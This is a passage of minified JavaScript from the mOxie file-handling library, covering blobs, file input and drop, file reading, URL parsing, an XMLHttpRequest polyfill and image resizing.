i=t.name+"(#"+t.code+")"+(t.message?", from: "+t.message:"");o.trigger("RuntimeError",new a.RuntimeError(a.RuntimeError.EXCEPTION_ERR,i))}),s.mode?void s.init():void s.trigger("Error")):void e(t)):(o.trigger("RuntimeError",new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR)),void(s=null))}((r.runtime_order||u.order).split(/\s*,\s*/))},disconnectRuntime:function(){s&&--s.clients<=0&&s.destroy(),s=null},getRuntime:function(){return s&&s.uid?s:s=null},exec:function(){return s?s.exec.apply(this,arguments):null},can:function(e){return!!s&&s.can(e)}})}}),e("moxie/file/Blob",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient"],function(s,i,n){var a={};return function o(e,t){n.call(this),e&&this.connectRuntime(e),t?"string"===s.typeOf(t)&&(t={data:t}):t={},s.extend(this,{uid:t.uid||s.guid("uid_"),ruid:e,size:t.size||0,type:t.type||"",slice:function(e,t,i){return this.isDetached()?function(e,t,i){var n,r=a[this.uid];return"string"===s.typeOf(r)&&r.length?((n=new o(null,{type:i,size:t-e})).detach(r.substr(e,n.size)),n):null}.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,i)},getSource:function(){return a[this.uid]?a[this.uid]:null},detach:function(e){if(this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy"),this.disconnectRuntime(),this.ruid=null),"data:"==(e=e||"").substr(0,5)){var t=e.indexOf(";base64,");this.type=e.substring(5,t),e=i.atob(e.substring(t+8))}this.size=e.length,a[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===s.typeOf(a[this.uid])},destroy:function(){this.detach(),delete a[this.uid]}}),t.data?this.detach(t.data):a[this.uid]=t}}),e("moxie/core/I18n",["moxie/core/utils/Basic"],function(i){var t={};return{addI18n:function(e){return i.extend(t,e)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==i.typeOf(e)?e:""})}}}),e("moxie/core/utils/Mime",["moxie/core/utils/Basic","moxie/core/I18n"],function(a,n){var o={},s={},e=function(e){var t,i,n,r=e.split(/,/);for(t=0;t<r.length;t+=2){for(n=r[t+1].split(/ /),i=0;i<n.length;i++)o[n[i]]=r[t];s[r[t]]=n}},r=function(e){var n=[];return a.each(e,function(e){if("*"===(e=e.toLowerCase()))return!(n=[]);var i=e.match(/^(\w+)\/(\*|\w+)$/);i&&("*"===i[2]?a.each(s,function(e,t){new RegExp("^"+i[1]+"/").test(t)&&[].push.apply(n,s[t])}):s[e]&&[].push.apply(n,s[e]))}),n},t=function(e){var t=e&&e.match(/\.([^.]+)$/);return t?t[1].toLowerCase():""};return e("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb xlt xla,application/vnd.ms-powerpoint,ppt pps pot ppa,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe"),{mimes:o,extensions:s,addMimeType:e,extList2mimes:function(e,t){var i,n,r,o,s=[];for(n=0;n<e.length;n++)for(i=e[n].extensions.toLowerCase().split(/\s*,\s*/),r=0;r<i.length;r++){if("*"===i[r])return[];if(o=s[i[r]],t&&/^\w+$/.test(i[r]))s.push("."+i[r]);else if(o&&-1===a.inArray(o,s))s.push(o);else if(!o)return[]}return s},mimes2exts:r,mimes2extList:function(e){var t=[],i=[];return"string"===a.typeOf(e)&&(e=a.trim(e).split(/\s*,\s*/)),i=r(e),t.push({title:n.translate("Files"),extensions:i.length?i.join(","):"*"}),t},getFileExtension:t,getFileMime:function(e){return o[t(e)]||""}}}),e("moxie/file/FileInput",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/I18n","moxie/runtime/Runtime","moxie/runtime/RuntimeClient"],function(a,e,n,u,r,t,o,c,l){function i(s){var e,t,i;if(-1!==a.inArray(a.typeOf(s),["string","node"])&&(s={browse_button:s}),!(t=u.get(s.browse_button)))throw new r.DOMException(r.DOMException.NOT_FOUND_ERR);i={accept:[{title:o.translate("All Files"),extensions:"*"}],multiple:!1,required_caps:!1,container:t.parentNode||document.body},"string"==typeof(s=a.extend({},i,s)).required_caps&&(s.required_caps=c.parseCaps(s.required_caps)),"string"==typeof s.accept&&(s.accept=n.mimes2extList(s.accept)),(e=u.get(s.container))||(e=document.body),"static"===u.getStyle(e,"position")&&(e.style.position="relative"),e=t=null,l.call(this),a.extend(this,{uid:a.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){var t=this;t.bind("RuntimeInit",function(e,o){t.ruid=o.uid,t.shimid=o.shimid,t.bind("Ready",function(){t.trigger("Refresh")},999),t.bind("Refresh",function(){var e,t,i,n,r;i=u.get(s.browse_button),n=u.get(o.shimid),i&&(e=u.getPos(i,u.get(s.container)),t=u.getSize(i),r=parseInt(u.getStyle(i,"z-index"),10)||0,n&&a.extend(n.style,{top:e.y+"px",left:e.x+"px",width:t.w+"px",height:t.h+"px",zIndex:r+1})),n=i=null}),o.exec.call(t,"FileInput","init",s)}),t.connectRuntime(a.extend({},s,{required_caps:{select_file:!0}}))},getOption:function(e){return s[e]},setOption:function(e,t){if(s.hasOwnProperty(e)){var i=s[e];switch(e){case"accept":"string"==typeof t&&(t=n.mimes2extList(t));break;case"container":case"required_caps":throw new r.FileException(r.FileException.NO_MODIFICATION_ALLOWED_ERR)}s[e]=t,this.exec("FileInput","setOption",e,t),this.trigger("OptionChanged",e,t,i)}},disable:function(e){this.getRuntime()&&this.exec("FileInput","disable","undefined"===a.typeOf(e)||e)},refresh:function(){this.trigger("Refresh")},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===a.typeOf(this.files)&&a.each(this.files,function(e){e.destroy()}),this.files=null,this.unbindAll()}}),this.handleEventProps(d)}var d=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];return i.prototype=t.instance,i}),e("moxie/file/File",["moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/file/Blob"],function(r,o,s){function e(e,t){var i;if(t||(t={}),s.apply(this,arguments),this.type||(this.type=o.getFileMime(t.name)),t.name)i=(i=t.name.replace(/\/g,"/")).substr(i.lastIndexOf("/")+1);else if(this.type){var n=this.type.split("/")[0];i=r.guid((""!==n?n:"file")+"_"),o.extensions[this.type]&&(i+="."+o.extensions[this.type][0])}r.extend(this,{name:i||r.guid("file_"),relativePath:"",lastModifiedDate:t.lastModifiedDate||(new Date).toLocaleString()})}return e.prototype=s.prototype,e}),e("moxie/file/FileDrop",["moxie/core/I18n","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/core/utils/Env","moxie/file/File","moxie/runtime/RuntimeClient","moxie/core/EventTarget","moxie/core/utils/Mime"],function(t,r,e,o,i,n,s,a,u){function c(i){var e,n=this;"string"==typeof i&&(i={drop_zone:i}),e={accept:[{title:t.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},(i="object"==typeof i?o.extend({},e,i):e).container=r.get(i.drop_zone)||document.body,"static"===r.getStyle(i.container,"position")&&(i.container.style.position="relative"),"string"==typeof i.accept&&(i.accept=u.mimes2extList(i.accept)),s.call(n),o.extend(n,{uid:o.guid("uid_"),ruid:null,files:null,init:function(){n.bind("RuntimeInit",function(e,t){n.ruid=t.uid,t.exec.call(n,"FileDrop","init",i),n.dispatchEvent("ready")}),n.connectRuntime(i)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null,this.unbindAll()}}),this.handleEventProps(l)}var l=["ready","dragenter","dragleave","drop","error"];return c.prototype=a.instance,c}),e("moxie/file/FileReader",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/Exceptions","moxie/core/EventTarget","moxie/file/Blob","moxie/runtime/RuntimeClient"],function(e,n,r,t,o,i){function s(){function t(e,t){if(this.trigger("loadstart"),this.readyState===s.LOADING)return this.trigger("error",new r.DOMException(r.DOMException.INVALID_STATE_ERR)),void this.trigger("loadend");if(!(t instanceof o))return this.trigger("error",new r.DOMException(r.DOMException.NOT_FOUND_ERR)),void this.trigger("loadend");if(this.result=null,this.readyState=s.LOADING,t.isDetached()){var i=t.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=i;break;case"readAsDataURL":this.result="data:"+t.type+";base64,"+n.btoa(i)}this.readyState=s.DONE,this.trigger("load"),this.trigger("loadend")}else this.connectRuntime(t.ruid),this.exec("FileReader","read",e,t)}i.call(this),e.extend(this,{uid:e.guid("uid_"),readyState:s.EMPTY,result:null,error:null,readAsBinaryString:function(e){t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){t.call(this,"readAsDataURL",e)},readAsText:function(e){t.call(this,"readAsText",e)},abort:function(){this.result=null,-1===e.inArray(this.readyState,[s.EMPTY,s.DONE])&&(this.readyState===s.LOADING&&(this.readyState=s.DONE),this.exec("FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),this.exec("FileReader","destroy"),this.disconnectRuntime(),this.unbindAll()}}),this.handleEventProps(a),this.bind("Error",function(e,t){this.readyState=s.DONE,this.error=t},999),this.bind("Load",function(){this.readyState=s.DONE},999)}var a=["loadstart","progress","load","abort","error","loadend"];return s.EMPTY=0,s.LOADING=1,s.DONE=2,s.prototype=t.instance,s}),e("moxie/core/utils/Url",["moxie/core/utils/Basic"],function(c){var l=function(e,t){var i,n=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],r=n.length,o={},s=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?(\[[\da-fA-F:]+\]|[^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e||""),a=/^\/\/\w/.test(e);switch(c.typeOf(t)){case"undefined":t=l(document.location.href,!1);break;case"string":t=l(t,!1)}for(;r--;)s[r]&&(o[n[r]]=s[r]);if(i=!a&&!o.scheme,(a||i)&&(o.scheme=t.scheme),i){o.host=t.host,o.port=t.port;var u="";/^[^\/]/.test(o.path)&&(u=t.path,u=/\/[^\/]*\.[^\/]*$/.test(u)?u.replace(/\/[^\/]+$/,"/"):u.replace(/\/?$/,"/")),o.path=u+(o.path||"")}return o.port||(o.port={http:80,https:443}[o.scheme]||80),o.port=parseInt(o.port,10),o.path||(o.path="/"),delete o.source,o};return{parseUrl:l,resolveUrl:function(e){var t="object"==typeof e?e:l(e);return t.scheme+"://"+t.host+(t.port!=={http:80,https:443}[t.scheme]?":"+t.port:"")+t.path+(t.query?t.query:"")},hasSameOrigin:function(e){function t(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof e&&(e=l(e)),t(l())===t(e)}}}),e("moxie/runtime/RuntimeTarget",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(e,t,i){function n(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return n.prototype=i.instance,n}),e("moxie/file/FileReaderSync",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/utils/Encode"],function(e,i,a){return function(){function t(e,t){if(!t.isDetached()){var i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t);return this.disconnectRuntime(),i}var n=t.getSource();switch(e){case"readAsBinaryString":return n;case"readAsDataURL":return"data:"+t.type+";base64,"+a.btoa(n);case"readAsText":for(var r="",o=0,s=n.length;o<s;o++)r+=String.fromCharCode(n[o]);return r}}i.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return t.call(this,"readAsDataURL",e)},readAsText:function(e){return t.call(this,"readAsText",e)}})}}),e("moxie/xhr/FormData",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/file/Blob"],function(e,s,a){return function(){var r,o=[];s.extend(this,{append:function(i,e){var n=this,t=s.typeOf(e);e instanceof a?r={name:i,value:e}:"array"===t?(i+="[]",s.each(e,function(e){n.append(i,e)})):"object"===t?s.each(e,function(e,t){n.append(i+"["+t+"]",e)}):"null"===t||"undefined"===t||"number"===t&&isNaN(e)?n.append(i,"false"):o.push({name:i,value:e.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return r&&r.value||null},getBlobName:function(){return r&&r.name||null},each:function(t){s.each(o,function(e){t(e.value,e.name)}),r&&t(r.value,r.name)},destroy:function(){r=null,o=[]}})}}),e("moxie/xhr/XMLHttpRequest",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/utils/Encode","moxie/core/utils/Url","moxie/runtime/Runtime","moxie/runtime/RuntimeTarget","moxie/file/Blob","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/core/utils/Env","moxie/core/utils/Mime"],function(b,R,e,I,O,A,S,T,t,D,C,N){function L(){this.uid=b.guid("uid_")}function F(){function s(e,t){return r.hasOwnProperty(e)?1===arguments.length?C.can("define_property")?r[e]:n[e]:void(C.can("define_property")?r[e]=t:n[e]=t):void 0}var a,u,c,l,o,i,n=this,r={timeout:0,readyState:F.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},d=!0,h={},p=null,m=null,f=!1,g=!1,x=!1,v=!1,y=!1,_=!1,E={},w="";b.extend(this,r,{uid:b.guid("uid_"),upload:new L,open:function(e,t,i,n,r){var o;if(!e||!t)throw new R.DOMException(R.DOMException.SYNTAX_ERR);if(/[-]/.test(e)||I.utf8_encode(e)!==e)throw new R.DOMException(R.DOMException.SYNTAX_ERR);if(~b.inArray(e.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(u=e.toUpperCase()),~b.inArray(u,["CONNECT","TRACE","TRACK"]))throw new R.DOMException(R.DOMException.SECURITY_ERR);if(t=I.utf8_encode(t),o=O.parseUrl(t),_=O.hasSameOrigin(o),a=O.resolveUrl(t),(n||r)&&!_)throw new R.DOMException(R.DOMException.INVALID_ACCESS_ERR);if(c=n||o.user,l=r||o.pass,!1===(d=i||!0)&&(s("timeout")||s("withCredentials")||""!==s("responseType")))throw new R.DOMException(R.DOMException.INVALID_ACCESS_ERR);f=!d,g=!1,h={},function(){s("responseText",""),s("responseXML",null),s("response",null),s("status",0),s("statusText","")}.call(this),s("readyState",F.OPENED),this.dispatchEvent("readystatechange")},setRequestHeader:function(e,t){if(s("readyState")!==F.OPENED||g)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(/[-]/.test(e)||I.utf8_encode(e)!==e)throw new R.DOMException(R.DOMException.SYNTAX_ERR);return e=b.trim(e).toLowerCase(),!~b.inArray(e,["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"])&&!/^(proxy\-|sec\-)/.test(e)&&(h[e]?h[e]+=", "+t:h[e]=t,!0)},hasRequestHeader:function(e){return e&&h[e.toLowerCase()]||!1},getAllResponseHeaders:function(){return w||""},getResponseHeader:function(e){return e=e.toLowerCase(),y||~b.inArray(e,["set-cookie","set-cookie2"])?null:w&&""!==w&&(i||(i={},b.each(w.split(/
/),function(e){var t=e.split(/:\s+/);2===t.length&&(t[0]=b.trim(t[0]),i[t[0].toLowerCase()]={header:t[0],value:b.trim(t[1])})})),i.hasOwnProperty(e))?i[e].header+": "+i[e].value:null},overrideMimeType:function(e){var t;if(~b.inArray(s("readyState"),[F.LOADING,F.DONE]))throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(e=b.trim(e.toLowerCase()),/;/.test(e)&&(t=e.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(e=t[1],t[2]&&t[2]),!N.mimes[e])throw new R.DOMException(R.DOMException.SYNTAX_ERR)},send:function(e,t){if(E="string"===b.typeOf(t)?{ruid:t}:t||{},this.readyState!==F.OPENED||g)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(e instanceof T)E.ruid=e.ruid,m=e.type||"application/octet-stream";else if(e instanceof D){if(e.hasBlob()){var i=e.getBlob();E.ruid=i.ruid,m=i.type||"application/octet-stream"}}else"string"==typeof e&&(p="UTF-8",m="text/plain;charset=UTF-8",e=I.utf8_encode(e));this.withCredentials||(this.withCredentials=E.required_caps&&E.required_caps.send_browser_cookies&&!_),x=!f&&this.upload.hasEventListener(),y=!1,v=!e,f||(g=!0),function(e){function i(){o&&(o.destroy(),o=null),r.dispatchEvent("loadend"),r=null}function n(t){o.bind("LoadStart",function(e){s("readyState",F.LOADING),r.dispatchEvent("readystatechange"),r.dispatchEvent(e),x&&r.upload.dispatchEvent(e)}),o.bind("Progress",function(e){s("readyState")!==F.LOADING&&(s("readyState",F.LOADING),r.dispatchEvent("readystatechange")),r.dispatchEvent(e)}),o.bind("UploadProgress",function(e){x&&r.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),o.bind("Load",function(e){s("readyState",F.DONE),s("status",Number(t.exec.call(o,"XMLHttpRequest","getStatus")||0)),s("statusText",M[s("status")]||""),s("response",t.exec.call(o,"XMLHttpRequest","getResponse",s("responseType"))),~b.inArray(s("responseType"),["text",""])?s("responseText",s("response")):"document"===s("responseType")&&s("responseXML",s("response")),w=t.exec.call(o,"XMLHttpRequest","getAllResponseHeaders"),r.dispatchEvent("readystatechange"),0<s("status")?(x&&r.upload.dispatchEvent(e),r.dispatchEvent(e)):(y=!0,r.dispatchEvent("error")),i()}),o.bind("Abort",function(e){r.dispatchEvent(e),i()}),o.bind("Error",function(e){y=!0,s("readyState",F.DONE),r.dispatchEvent("readystatechange"),v=!0,r.dispatchEvent(e),i()}),t.exec.call(o,"XMLHttpRequest","send",{url:a,method:u,async:d,user:c,password:l,headers:h,mimeType:m,encoding:p,responseType:r.responseType,withCredentials:r.withCredentials,options:E},e)}var r=this;(new Date).getTime(),o=new S,"string"==typeof E.required_caps&&(E.required_caps=A.parseCaps(E.required_caps)),E.required_caps=b.extend({},E.required_caps,{return_response_type:r.responseType}),e instanceof D&&(E.required_caps.send_multipart=!0),b.isEmptyObj(h)||(E.required_caps.send_custom_headers=!0),_||(E.required_caps.do_cors=!0),E.ruid?n(o.connectRuntime(E)):(o.bind("RuntimeInit",function(e,t){n(t)}),o.bind("RuntimeError",function(e,t){r.dispatchEvent("RuntimeError",t)}),o.connectRuntime(E))}.call(this,e)},abort:function(){if(f=!(y=!0),~b.inArray(s("readyState"),[F.UNSENT,F.OPENED,F.DONE]))s("readyState",F.UNSENT);else{if(s("readyState",F.DONE),g=!1,!o)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);o.getRuntime().exec.call(o,"XMLHttpRequest","abort",v),v=!0}},destroy:function(){o&&("function"===b.typeOf(o.destroy)&&o.destroy(),o=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}}),this.handleEventProps(P.concat(["readystatechange"])),this.upload.handleEventProps(P)}var M={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};L.prototype=e.instance;var P=["loadstart","progress","abort","error","load","timeout","loadend"];return F.UNSENT=0,F.OPENED=1,F.HEADERS_RECEIVED=2,F.LOADING=3,F.DONE=4,F.prototype=e.instance,F}),e("moxie/runtime/Transporter",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(h,i,e,t){function p(){function o(){c=l=0,u=this.result=null}function s(e,t){var i=this;r=t,i.bind("TransportingProgress",function(e){(l=e.loaded)<c&&-1===h.inArray(i.state,[p.IDLE,p.DONE])&&n.call(i)},999),i.bind("TransportingComplete",function(){l=c,i.state=p.DONE,u=null,i.result=r.exec.call(i,"Transporter","getAsBlob",e||"")},999),i.state=p.BUSY,i.trigger("TransportingStarted"),n.call(i)}function n(){var e,t=c-l;t<d&&(d=t),e=i.btoa(u.substr(l,d)),r.exec.call(this,"Transporter","receive",e,c)}var a,r,u,c,l,d;e.call(this),h.extend(this,{uid:h.guid("uid_"),state:p.IDLE,result:null,transport:function(e,i,t){var n=this;if(t=h.extend({chunk_size:204798},t),(a=t.chunk_size%3)&&(t.chunk_size+=3-a),d=t.chunk_size,o.call(this),c=(u=e).length,"string"===h.typeOf(t)||t.ruid)s.call(n,i,this.connectRuntime(t));else{var r=function(e,t){n.unbind("RuntimeInit",r),s.call(n,i,t)};this.bind("RuntimeInit",r),this.connectRuntime(t)}},abort:function(){this.state=p.IDLE,r&&(r.exec.call(this,"Transporter","clear"),this.trigger("TransportingAborted")),o.call(this)},destroy:function(){this.unbindAll(),r=null,this.disconnectRuntime(),o.call(this)}})}return p.IDLE=0,p.BUSY=1,p.DONE=2,p.prototype=t.instance,p}),e("moxie/image/Image",["moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/file/FileReaderSync","moxie/xhr/XMLHttpRequest","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/runtime/Transporter","moxie/core/utils/Env","moxie/core/EventTarget","moxie/file/Blob","moxie/file/File","moxie/core/utils/Encode"],function(c,n,l,e,o,s,t,d,h,i,a,u,p){function m(){function r(t,e){function i(e){n.ruid=e.uid,e.exec.call(n,"Image","loadFromBlob",t)}var n=this;n.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){i(t)}),e&&"string"==typeof e.required_caps&&(e.required_caps=s.parseCaps(e.required_caps)),this.connectRuntime(c.extend({required_caps:{access_image_binary:!0,resize_image:!0}},e))):i(this.connectRuntime(t.ruid))}t.call(this),c.extend(this,{uid:c.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){(function e(t){var i=c.typeOf(t);try{if(t instanceof m){if(!t.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);(function(e,t){var i=this.connectRuntime(e.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",e,"undefined"===c.typeOf(t)||t)}).apply(this,arguments)}else if(t instanceof a){if(!~c.inArray(t.type,["image/jpeg","image/png"]))throw new l.ImageError(l.ImageError.WRONG_FORMAT);r.apply(this,arguments)}else if(-1!==c.inArray(i,["blob","file"]))e.call(this,new u(null,t),arguments[1]);else if("string"===i)"data:"===t.substr(0,5)?e.call(this,new a(null,{data:t}),arguments[1]):function(e,t){var i,n=this;(i=new o).open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){r.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}.apply(this,arguments);else{if("node"!==i||"img"!==t.nodeName.toLowerCase())throw new l.DOMException(l.DOMException.TYPE_MISMATCH_ERR);e.call(this,t.src,arguments[1])}}catch(t){this.trigger("error",t.code)}}).apply(this,arguments)},resize:function(e){var t,i,n=this,r={x:0,y:0,width:n.width,height:n.height},o=c.extendIf({width:n.width,height:n.height,type:n.type||"image/jpeg",quality:90,crop:!1,fit:!0,preserveHeaders:!0,resample:"default",multipass:!0},e);try{if(!n.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);if(n.width>m.MAX_RESIZE_WIDTH||n.height>m.MAX_RESIZE_HEIGHT)throw new l.ImageError(l.ImageError.MAX_RESOLUTION_ERR);if(t=n.meta&&n.meta.tiff&&n.meta.tiff.Orientation||1,-1!==c.inArray(t,[5,6,7,8])){var s=o.width;o.width=o.height,o.height=s}if(o.crop){switch(i=Math.max(o.width/n.width,o.height/n.height),i=e.fit?(r.width=Math.min(Math.ceil(o.width/i),n.width),r.height=Math.min(Math.ceil(o.height/i),n.height),o.width/r.width):(r.width=Math.min(o.width,n.width),r.height=Math.min(o.height,n.height),1),"boolean"==typeof o.crop&&(o.crop="cc"),o.crop.toLowerCase().replace(/_/,"-")){case"rb":case"right-bottom":r.x=n.width-r.width,r.y=n.height-r.height;break;case"cb":case"center-bottom":r.x=Math.floor((n.width-r.width)/2),r.y=n.height-r.height;break;case"lb":case"left-bottom":r.x=0,r.y=n.height-r.height;break;case"lt":case"left-top":r.x=0,r.y=0;break;case"ct":case"center-top":r.x=Math.floor((n.width-r.width)/2),r.y=0;break;case"rt":case"right-top":r.x=n.width-r.width,r.y=0;break;case"rc":case"right-center":case"right-middle":r.x=n.width-r.width,r.y=Math.floor((n.height-r.height)/2);break;case"lc":case"left-center":case"left-middle":r.x=0,r.y=Math.floor((n.height-r.height)/2);break;case"cc":case"center-center":case"center-middle":default:r.x=Math.floor((n.width-r.width)/2),r.y=Math.floor((n.height-r.height)/2)}r.x=Math.max(r.x,0),r.y=Math.max(r.y,0)}else 1<(i=Math.min(o.width/n.width,o.height/n.height))&&!o.fit&&(i=1);this.exec("Image","resize",r,i,o)}catch(e){n.trigger("error",e.code)}},downsize:function(e){var t,i={width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,crop:!1,fit:!1,preserveHeaders:!0,resample:"default"};t="object"==typeof e?c.extend(i,e):c.extend(i,{width:e,height:arguments[1],crop:arguments[2],preserveHeaders:arguments[3]}),this.resize(t)},crop:function(e,t,i){this.downsize(e,t,!0,i)},getAsCanvas:function(){if(!h.can("create_canvas"))throw new l.RuntimeError(l.RuntimeError.NOT_SUPPORTED_ERR);return this.exec("Image","getAsCanvas")},getAsBlob:function(e,t){if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);return this.exec("Image","getAsBlob",e||"image/jpeg",t||90)},getAsDataURL:function(e,t){if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);return this.exec("Image","getAsDataURL",e||"image/jpeg",t||90)},getAsBinaryString:function(e,t){var i=this.getAsDataURL(e,t);return p.atob(i.substring(i.indexOf("base64,")+7))},embed:function(s,e){var a,u=this,t=c.extend({width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,fit:!0,resample:"nearest"},e);try{if(!(s=n.get(s)))throw new l.DOMException(l.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);this.width>m.MAX_RESIZE_WIDTH||this.height;var i=new m;return i.bind("Resize",function(){(function(e,t){var i=this;if(h.can("create_canvas")){var n=i.getAsCanvas();if(n)return s.appendChild(n),n=null,i.destroy(),void u.trigger("embedded")}var r=i.getAsDataURL(e,t);if(!r)throw new l.ImageError(l.ImageError.WRONG_FORMAT);if(h.can("use_data_uri_of",r.length))s.innerHTML='<img src="'+r+'" width="'+i.width+'" height="'+i.height+'" alt="" />',i.destroy(),u.trigger("embedded");else{var o=new 